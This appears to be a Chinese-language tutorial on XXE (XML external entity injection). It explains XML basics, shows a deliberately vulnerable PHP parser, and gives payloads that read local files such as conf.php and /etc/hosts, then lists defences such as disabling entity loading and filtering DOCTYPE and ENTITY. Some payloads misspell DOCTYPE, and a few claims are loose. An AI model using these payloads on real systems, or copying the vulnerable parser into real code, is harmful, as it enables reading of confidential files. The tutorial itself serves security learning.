XXE漏洞

XXE漏洞全程为XML External Entity Injection即XML外部实体注入漏洞。

XML介绍及用途

XML被用来传输和存储数据。XML文档形成了一种树状结构,从根部开始,扩招到枝叶。

XML允许作者定义自己的标签和自己的文档结构。

xml文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

1. 元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。实例:

1
2
<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。

2. 属性

属性可提供有关元素的额外信息 实例:

1
<img src="computer.gif" />

3. 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

4. PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

5. CDATA

CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。

存在XXE漏洞代码

1
2
3
4
5
6
7
8
9
10
11
<?php

$xml= file_get_contents(php://input);

$data = simplexml_load_string($xml);

echo"<pre>";

print_r($data);//注释掉该语句即为无回显的情况

?>

漏洞利用

一.有回显XXE漏洞利用

1.读取文档文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE ANY[

<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>

<name>&xxe;</name>

2.读取php文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE ANY[

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>

<name>&xxe;</name>

XXE漏洞的危害

1.读取任意文件

image-20250529182150142

1
2
3
4
<?xml version = "1.0"?> <!DOCTYPE 
ANY [
<!ENTITY xxe SYSTEM "file:///C:/xxe/1.txt"> ]>
<x>&xxe;</x>

2.执行系统命令

image-20250529182253361

3.探测内网存活主机

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/hosts">
]>

<user><username>&b;</username><password>admin</password></user>

image-20250529182528990

如何防御xxe攻击

1. 使用开发语言提供的禁用外部实体的方法

1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2. 过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

以下防御方法来自齐安信攻防社区

为了防止XXE攻击,我们需要采取以下措施:

  1. 输入验证:在解析XML之前,应该对输入数据进行充分验证。例如,可以使用白名单来验证输入是否合法,或者禁止用户输入实体引用等危险字符。
  2. 使用安全的XML解析器:一些XML解析器可能存在XXE漏洞,因此应该选择使用安全性较好的XML解析器。例如,PHP SimpleXML默认禁用外部实体,因此可以减少XXE漏洞的风险。
  3. 禁止使用DTD:DTD(Document Type Definition)是一种定义XML文档结构的语言,但它也可以用于定义实体。因此,应该尽量避免使用DTD或限制其使用。
  4. 使用CDATA:CDATA是XML文档中的一种特殊字符序列,它可以使文本数据被解释为纯文本而不是标记。如果我们需要在XML文档中插入敏感数据,例如密码等,可以使用CDATA以防止数据被误解析。